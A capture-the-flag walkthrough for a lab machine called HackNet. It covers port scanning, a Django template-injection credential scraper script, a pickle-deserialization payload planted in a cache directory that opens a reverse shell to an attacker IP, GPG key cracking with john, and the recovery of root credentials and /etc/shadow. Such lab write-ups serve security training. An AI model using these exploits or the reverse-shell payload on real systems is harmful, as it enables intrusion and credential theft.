Enum

$ export IP=10.129.185.230
$ rustscan --ulimit 10000 -a $IP -- -sCTV -Pn
 
*snip*
 
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 95:62:ef:97:31:82:ff:a1:c6:08:01:8c:6a:0f:dc:1c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ8BFa2rPKTgVLDq1GN85n/cGWndJ63dTBCsAS6v3n8j85AwatuF1UE+C95eEdeMPbZ1t26HrjltEg2Dj+1A2DM=
|   256 5f:bd:93:10:20:70:e6:09:f1:ba:6a:43:58:86:42:66 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFOSA3zBloIJP6JRvvREkPtPv013BYN+NNzn3kcJj0cH
80/tcp open  http    syn-ack nginx 1.22.1
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://hacknet.htb/
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
$ echo "$IP hacknet.htb" | sudo tee -a /etc/hosts

Cookie: csrftoken=0VfpfBwT6EzOhUHzuVSNbDhzb6FWtT6X; sessionid=fuev7ke53uctc6xr10vktgxltwy6y2qq
  • Keep note of your sessionid
  • Hacktricks SSTI This was really the only initial attack vector without access to machine yet.

  • After trying every parameter I could, the only combination I found as foothold goes as follows:
  • By changing our username to a django SSTI payload like {{7*7}} or {{ 7|add:7 }} we expect an error, 49, or 14 if evaluated
  • The only place I could find SSTI rendered was within the /likes/[X] endpoint based on posts you liked
  • Username = SSTI Liked post renders result

Normal Behavior

  • Attempting {{ 7|add:7 }} as username

  • Trying to replace payload to something that may return results, eventually derived useful query {{ users }}

  • We see the usernames of everyone else who liked this post
  • {{users.USER_ID}} selects specific users (ex. {{users.0}})
  • After more trial and error we find emails and password can be accessed per user ID
  • Expose creds via {{users.USER_ID.email}} and {{users.USER_ID.password}} (since email is used for login)
  • ex ) {{users.1.email}}

User

Manual Method for User Creds

  • The post we need is private (found by incrementing through each)
  • However we can bypass this by visiting /like/NUM to like any post
  • Visiting /likes/NUM (similar but different) then reflects our username as we observed before in the page source
  • Visit http://hacknet.htb/likes/23

Automatic method

  • Here is a script that edits username to payload for each ID, extracting creds, from any/all posts.
  • Can specify a range of posts or single one (23 if you don’t want full scan)
  • Requires your sessionid
  • We can like any post through /like/X and access even restricted posts through /likes/X so this just does them all

ssti.py

#!/usr/bin/env python3
 
import re, sys, time
from urllib.parse import urljoin
import requests
 
BASE_URL = 'http://hacknet.htb'
TEMP_USERNAME = 'asdf'
USER_INDEX_MIN, USER_INDEX_MAX = 1, 27
 
def parse_range(s: str) -> tuple[int, int]:
    if '-' in s:
        a, b = s.split('-', 1)
        return int(a), int(b)
    v = int(s)
    return v, v
 
def fetch_csrf_token(sess: requests.Session, base: str) -> str:
    resp = sess.get(urljoin(base, '/profile/edit'), timeout=10)
    resp.raise_for_status()
    match = re.search(r'name="csrfmiddlewaretoken" value="([^"]+)"', resp.text)
    if not match:
        raise SystemExit('no CSRF token')
    return match.group(1)
 
def update_profile_username(sess: requests.Session, base: str, username: str, token: str) -> None:
    edit = urljoin(base, '/profile/edit')
    resp = sess.post(
        edit,
        data={
            'csrfmiddlewaretoken': token,
            'username': username,
            'email': '',
            'password': '',
            'about': '',
            'is_public': 'on',
        },
        headers={'Referer': edit},
        timeout=10,
    )
    resp.raise_for_status()
 
def resolve_profile_id(sess: requests.Session, base: str, username: str) -> str:
    resp = sess.get(urljoin(base, '/profile'), allow_redirects=True, timeout=10)
    match = re.search(r'/profile/(\d+)$', resp.url)
    if match:
        return match.group(1)
    resp = sess.get(urljoin(base, '/likes/1'), timeout=10)
    resp.raise_for_status()
    match = re.search(rf'<a[^>]*href="/profile/(\d+)"[^>]*>\s*<img[^>]*title="{re.escape(username)}"', resp.text)
    if match:
        return match.group(1)
    raise SystemExit('could not resolve profile id')
 
def ensure_post_liked(sess: requests.Session, base: str, post_id: int, my_profile_id: str) -> None:
    resp = sess.get(urljoin(base, f'/likes/{post_id}?t={int(time.time()*1000)}'), timeout=10)
    if f'/profile/{my_profile_id}' not in resp.text:
        sess.get(urljoin(base, f'/like/{post_id}'), timeout=10)
 
def ssti_evaluate_from_likes(sess: requests.Session, base: str, post_id: int, my_profile_id: str) -> str:
    resp = sess.get(urljoin(base, f'/likes/{post_id}?t={int(time.time()*1000)}'), timeout=10)
    match = re.search(rf'<a[^>]*href="/profile/{re.escape(my_profile_id)}"[^>]*>\s*<img[^>]*title="([^"]+)"', resp.text, re.S)
    return match.group(1) if match else ''
 
def main(argv: list[str]) -> int:
    if len(argv) != 2:
        print('Usage: ssti_min.py SESSIONID POST|POST-POST', file=sys.stderr)
        return 2
    session_id, post_spec = argv
    post_min, post_max = parse_range(post_spec)
    user_min, user_max = USER_INDEX_MIN, USER_INDEX_MAX
 
    sess = requests.Session()
    sess.cookies.set('sessionid', session_id)
    sess.headers.update({'User-Agent': 'Mozilla/5.0'})
 
    token = fetch_csrf_token(sess, BASE_URL)
    update_profile_username(sess, BASE_URL, TEMP_USERNAME, token)
    my_profile_id = resolve_profile_id(sess, BASE_URL, TEMP_USERNAME)
 
    credentials: set[str] = set()
    for post_id in range(post_min, post_max + 1):
        print(f'[+] Scanning post {post_id}', file=sys.stderr)
        ensure_post_liked(sess, BASE_URL, post_id, my_profile_id)
        token = fetch_csrf_token(sess, BASE_URL)
        for user_index in range(user_min, user_max + 1):
            email_payload = f'{{{{users.{user_index}.email}}}}'
            update_profile_username(sess, BASE_URL, email_payload, token)
            email = ssti_evaluate_from_likes(sess, BASE_URL, post_id, my_profile_id)
 
            password_payload = f'{{{{users.{user_index}.password}}}}'
            update_profile_username(sess, BASE_URL, password_payload, token)
            password = ssti_evaluate_from_likes(sess, BASE_URL, post_id, my_profile_id)
 
            if email and password and email != email_payload and password != password_payload:
                credentials.add(f'{email}:{password}')
 
    update_profile_username(sess, BASE_URL, TEMP_USERNAME, fetch_csrf_token(sess, BASE_URL))
    for line in sorted(credentials):
        print(line)
    return 0
 
sys.exit(main(sys.argv[1:]))
  • Execute script to scrape user credentials via SSTI
  • Takes your sessionID and post range as args

Usage

python ssti.py '<sessionid>' <POST>

python ssti.py '<sessionid>' <POST_START>-<POST_END>

Extract from entire range (1-27)
 
$ python ssti.py 'ifdu7h0uulvfyqgwy2qa1653lwoqzkvq' 1-27
 
[+] Scanning post 1
*snip*
[+] Scanning post 27
asdf@asdf.com:asdf
blackhat_wolf@cypherx.com:Bl@ckW0lfH@ck
brute_force@ciphermail.com:BrUt3F0rc3#
bytebandit@exploitmail.net:Byt3B@nd!t123
codebreaker@ciphermail.com:C0d3Br3@k!
cryptoraven@securemail.org:CrYptoR@ven42
cyberghost@darkmail.net:Gh0stH@cker2024
darkseeker@darkmail.net:D@rkSeek3r#
datadive@darkmail.net:D@taD1v3r
deepdive@hacknet.htb:D33pD!v3r
exploit_wizard@hushmail.com:Expl01tW!zard
glitch@cypherx.com:Gl1tchH@ckz
hexhunter@ciphermail.com:H3xHunt3r!
mikey@hacknet.htb:mYd4rks1dEisH3re
netninja@hushmail.com:N3tN1nj@2024
packetpirate@exploitmail.net:P@ck3tP!rat3
phreaker@securemail.org:Phre@k3rH@ck
rootbreaker@exploitmail.net:R00tBr3@ker#
shadowcaster@darkmail.net:Sh@d0wC@st!
shadowmancer@cypherx.com:Sh@d0wM@ncer
shadowwalker@hushmail.com:Sh@dowW@lk2024
stealth_hawk@exploitmail.net:St3@lthH@wk
trojanhorse@securemail.org:Tr0j@nH0rse!
virus_viper@securemail.org:V!rusV!p3r2024
whitehat@darkmail.net:Wh!t3H@t2024
zero_day@hushmail.com:Zer0D@yH@ck

@hacknet.htb credentials

mikey@hacknet.htb

mYd4rks1dEisH3re

  • SSH attempt with these creds is successful
$ sshpass -p 'mYd4rks1dEisH3re' ssh mikey@hacknet.htb
 
mikey@hacknet:~$ ls
user.txt
 
mikey@hacknet:~$ ls /home
mikey  sandy

Root

  • Looking through the HackNet directory we find python script mentioning django cache

  • We can determine location of file-based cache from reading source code
mikey@hacknet:~$ ls /var/www/HackNet/
backups  db.sqlite3  HackNet  manage.py  media  SocialNetwork  static
 
mikey@hacknet:~$ ls /var/www/HackNet/HackNet/
asgi.py  __init__.py  __pycache__  settings.py  urls.py  wsgi.py
 
mikey@hacknet:~$ cat /var/www/HackNet/HackNet/settings.py
 
*snip*
DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.mysql',
        'NAME': 'hacknet',
        'USER': 'sandy',
        'PASSWORD': 'h@ckn3tDBpa$$',
        'HOST':'localhost',
        'PORT':'3306',
    }
}
 
CACHES = {
    'default': {
        'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache',
        'LOCATION': '/var/tmp/django_cache',
        'TIMEOUT': 60,
        'OPTIONS': {'MAX_ENTRIES': 1000},
    }
}
*snip*
  • /var/tmp/django_cache
mikey@hacknet:~$ ls -la /var/tmp/
total 16
drwxrwxrwt  4 root  root     4096 Sep 14 11:29 .
drwxr-xr-x 12 root  root     4096 May 31  2024 ..
drwxrwxrwx  2 sandy www-data 4096 Sep 14 17:20 django_cache
 
mikey@hacknet:/var/www$ ls -la /var/tmp/django_cache/
total 8
drwxrwxrwx 2 sandy www-data 4096 Sep 15 01:45 .
drwxrwxrwt 4 root  root     4096 Sep 15 00:00 ..
  • Django Cache
  • We have file write access to the directory
  • Currently empty so we need to figure out how to trigger reliably
  • We can grep for import cache to hopefully find cache source code
mikey@hacknet:/var/www$ grep -r "import cache" .
 
./HackNet/SocialNetwork/views.py:from django.views.decorators.cache import cache_page
 
mikey@hacknet:~$ cat /var/www/HackNet/SocialNetwork/views.py
 
*snip*
 
@cache_page(60)
def explore(request):
    if not "email" in request.session.keys():
        return redirect("index")
 
    session_user = get_object_or_404(SocialUser, email=request.session['email'])
 
    page_size = 10
    keyword = ""
 
    if "keyword" in request.GET.keys():
        keyword = request.GET['keyword']
        posts = SocialArticle.objects.filter(text__contains=keyword).order_by("-date")
    else:
        posts = SocialArticle.objects.all().order_by("-date")
 
    pages = ceil(len(posts) / page_size)
 
    if "page" in request.GET.keys() and int(request.GET['page']) > 0:
        post_start = int(request.GET['page'])*page_size-page_size
        post_end = post_start + page_size
        posts_slice = posts[post_start:post_end]
    else:
        posts_slice = posts[:page_size]
 
    news = get_news()
    request.session['requests'] = session_user.contact_requests
    request.session['messages'] = session_user.unread_messages
 
    for post_item in posts:
        if session_user in post_item.likes.all():
            post_item.is_like = True
 
    posts_filtered = []
    for post in posts_slice:
        if not post.author.is_hidden or post.author == session_user:
            posts_filtered.append(post)
        for like in post.likes.all():
            if like.is_hidden and like != session_user:
                post.likes_number -= 1
 
    context = {"pages": pages, "posts": posts_filtered, "keyword": keyword, "news": news, "session_user": session_user}
 
    return render(request, "SocialNetwork/explore.html", context)
 
*snip*
  • Seems visiting /explore?page= or /explore?keyword= triggers a 60 second cache file to be generated
  • Visiting http://hacknet.htb/explore?page=1 and observing /var/tmp/django_cache/ several times we can conclude identical filenames are always generated
  • Also the case with http://hacknet.htb/explore?keyword=asdf
  • Only difference is that you must have the same keyword to generate same cache each time
mikey@hacknet:~$ ls -la /var/tmp/django_cache/
total 16
drwxrwxrwx 2 sandy www-data 4096 Sep 15 04:24 .
drwxrwxrwt 4 root  root     4096 Sep 15 00:00 ..
-rw------- 1 sandy www-data   34 Sep 15 04:24 66d38febc2008ce4561dc6a477cd98fe.djcache
-rw------- 1 sandy www-data 2789 Sep 15 04:24 80c9aaf21683d67856f9a9d505d34a0b.djcache
  • Looking into documentation we see these are in fact using pickle
  • Also contains warning that pickle can be maliciously used in cache

  • So we need to generate a malicious pickle payload and spoof this cache file 66d38febc2008ce4561dc6a477cd98fe.djcache
  • Match filename to corresponding file generated by /explore?keyword={INPUT} or /explore?page=[1-3])
  • Strongly suggests attack like Hacktricks Pickle PoC

pickle_poc.py

#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64
 
class RCE(object):
    def __reduce__(self):
        return (os.system, ("id > /tmp/pwned",))
 
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")

Tickle the Pickle

  • If we can successfuly generate pickle payload and inject into cache, we may get RCE
  • Since the nature of cache is to the be loaded when serving a page again, try refreshing to deserialize pickle payload
  • Update your revshell info
  • Rename 66d38febc2008ce4561dc6a477cd98fe.djcache if needed

pkl.py

import os
import pickle
 
ATTACKER_IP = "10.10.00.00"
ATTACKER_PORT = 6969
 
FILEPATH = "/var/tmp/django_cache/"
FILENAME = "66d38febc2008ce4561dc6a477cd98fe.djcache"
 
class ExploitPayload:
        def __reduce__(self):
                reverse_shell_cmd = (
                        f"python3 -c 'import os,pty,socket; "
                        f"sock_obj=socket.socket(); "
                        f"sock_obj.connect((\"{ATTACKER_IP}\",{ATTACKER_PORT})); "
                        f"[os.dup2(sock_obj.fileno(),fd_num) for fd_num in (0,1,2)]; "
                        f"pty.spawn(\"/bin/bash\")'"
                )
                return (os.system, (reverse_shell_cmd,))
 
payload_path = os.path.join(FILEPATH, FILENAME)
 
with open(payload_path, "wb") as payload_file:
        pickle.dump(ExploitPayload(), payload_file, protocol=pickle.HIGHEST_PROTOCOL)
  • Run script and verify payload was generated
mikey@hacknet:~$ ls /var/tmp/django_cache/
66d38febc2008ce4561dc6a477cd98fe.djcache
$ penelope -p 6969
[+] Listening for reverse shells on 0.0.0.0:6969
➤  🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
 
(Penelope)> maintain 2
[+] Maintain value set to 2 Enabled
 
[+] Got reverse shell from hacknet~10.129.185.230-Linux-x86_64 😍️ Assigned SessionID <1>
[!]  --- Session 1 is trying to maintain 2 active shells on hacknet~10.129.185.230-Linux-x86_64 ---
[+] Attempting to spawn a reverse shell on 10.10.10.10:6969
[+] Got reverse shell from hacknet~10.129.185.230-Linux-x86_64 😍️ Assigned SessionID <2>
 
(Penelope)> sessions 1
[+] Attempting to deploy Python Agent...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
───────────────────────────────────────────────────────────────────────────
sandy@hacknet:/var/www/HackNet$ cd ~
 
sandy@hacknet:~$ ls -la
total 36
drwx------ 6 sandy sandy 4096 Sep 11 11:18 .
drwxr-xr-x 4 root  root  4096 Jul  3  2024 ..
lrwxrwxrwx 1 root  root     9 Sep  4 19:01 .bash_history -> /dev/null
-rw-r--r-- 1 sandy sandy  220 Apr 23  2023 .bash_logout
-rw-r--r-- 1 sandy sandy 3526 Apr 23  2023 .bashrc
drwxr-xr-x 3 sandy sandy 4096 Jul  3  2024 .cache
drwx------ 3 sandy sandy 4096 Dec 21  2024 .config
drwx------ 4 sandy sandy 4096 Sep  5 11:33 .gnupg
drwxr-xr-x 5 sandy sandy 4096 Jul  3  2024 .local
lrwxrwxrwx 1 root  root     9 Aug  8  2024 .mysql_history -> /dev/null
-rw-r--r-- 1 sandy sandy  808 Jul 11  2024 .profile
lrwxrwxrwx 1 root  root     9 Jul  3  2024 .python_history -> /dev/null
sandy@hacknet:~$ gpg -k
/home/sandy/.gnupg/pubring.kbx
------------------------------
pub   rsa1024 2024-12-29 [SC]
      21395E17872E64F474BF80F1D72E5C1FA19C12F7
uid           [ultimate] Sandy (My key for backups) <sandy@hacknet.htb>
sub   rsa1024 2024-12-29 [E]
  • Note says its the password for backup files
  • Download for cracking
(Penelope)─(Session [1])> download /home/sandy/.gnupg/private-keys-v1.d/armored_key.asc
  • Crack locally
$ gpg2john armored_key.asc > hash.txt
File armored_key.asc
 
$ cat hash.txt
 
Sandy:$gpg$*1*348*1024*db7e6d165a1d86f43276a4a61a9865558a3b67dbd1c6b0c25b960d293cd490d0f54227788f93637a930a185ab86bc6d4bfd324fdb4f908b41696f71db01b3930cdfbc854a81adf642f5797f94ddf7e67052ded428ee6de69fd4c38f0c6db9fccc6730479b48afde678027d0628f0b9046699033299bc37b0345c51d7fa51f83c3d857b72a1e57a8f38302ead89537b6cb2b88d0a953854ab6b0cdad4af069e69ad0b4e4f0e9b70fc3742306d2ddb255ca07eb101b07d73f69a4bd271e4612c008380ef4d5c3b6fa0a83ab37eb3c88a9240ddeda8238fd202ccc9cf076b6d21602dd2394349950be7de440618bf93bcde73e68afa590a145dc0e1f3c87b74c0e2a96c8fe354868a40ec09dd217b815b310a41449dc5fbdfca513fadd5eeae42b65389aecc628e94b5fb59cce24169c8cd59816681de7b58e5f0d0e5af267bc75a8efe0972ba7e6e3768ec96040488e5c7b2aa0a4eb1047e79372b3605*3*254*2*7*16*db35bd29d9f4006bb6a5e01f58268d96*65011712*850ffb6e35f0058b:::Sandy (My key for backups) <sandy@hacknet.htb>::armored_key.asc
 
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
 
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
No password hashes left to crack (see FAQ)
 
$ john --show hash.txt
 
Sandy:sweetheart:::Sandy (My key for backups) <sandy@hacknet.htb>::armored_key.asc
1 password hash cracked, 0 left
  • sweetheart is noted as password for backups
  • Recall /var/www/HackNet/backups
  • Decrypt and find root creds inside backup02.sql.gpg
sandy@hacknet:/var/www/HackNet/backups$ ls
backup01.sql.gpg  backup02.sql.gpg  backup03.sql.gpg
 
sandy@hacknet:/var/www/HackNet/backups$ gpg --decrypt /var/www/HackNet/backups/backup02.sql.gpg | grep 'password'
gpg: encrypted with 1024-bit RSA key, ID FC53AFB0D6355F16, created 2024-12-29
      "Sandy (My key for backups) <sandy@hacknet.htb>"
(26,'Brute force attacks may be noisy, but they’re still effective. I’ve been refining my techniques to make them more efficient, reducing the time it takes to crack even the most complex passwords. Writing up a guide on how to optimize your brute force attacks.','2024-08-30 14:19:57.000000',6,2,0,24);
(11,'Reducing the time to crack complex passwords is no small feat. Even though brute force is noisy, it’s still one of the most reliable methods out there. Your guide will be a must-read for anyone looking to sharpen their skills in this area!','2024-09-02 09:04:13.000000',26,7);
(47,'2024-12-29 20:29:36.987384','Hey, can you share the MySQL root password with me? I need to make some changes to the database.',1,22,18),
(48,'2024-12-29 20:29:55.938483','The root password? What kind of changes are you planning?',1,18,22),
(50,'2024-12-29 20:30:41.806921','Alright. But be careful, okay? Here’s the password: h4ck3rs4re3veRywh3re99. Let me know when you’re done.',1,18,22),
  `password` varchar(70) NOT NULL,
(24,'brute_force@ciphermail.com','brute_force','BrUt3F0rc3#','24.jpg','Specializes in brute force attacks and password cracking. Loves the challenge of breaking into locked systems.',0,0,1,0,0),
  `password` varchar(128) NOT NULL,

Root Creds

root

h4ck3rs4re3veRywh3re99

  • SSH as root or su root from a shell
$ sshpass -p 'h4ck3rs4re3veRywh3re99' ssh root@hacknet.htb
 
root@hacknet:~$ ls
root.txt
 
root@hacknet:~$ cat /etc/shadow
 
root:$y$j9T$eErHv1Ni5SMAxSFoqTEr50$xWrccq.2xlr5SK8EVQJirlRcjFhiJ2ZR7/qffCp4JX1:19874:0:99999:7:::
mikey:$y$j9T$xbgiDokk.SkF6LfxRj17s.$97Ppf4gQ3MVuwiqUPLOox4IAaSRwbB/ZCx0XQYsD8r9:19874:0:99999:7:::
sandy:$y$j9T$VYCki/awnyWb6fcUoC0wt0$F2m2BtdGa9d9lUJn3SucfnXFM/yXNhzF8hHZSW65eUB:19907:0:99999:7:::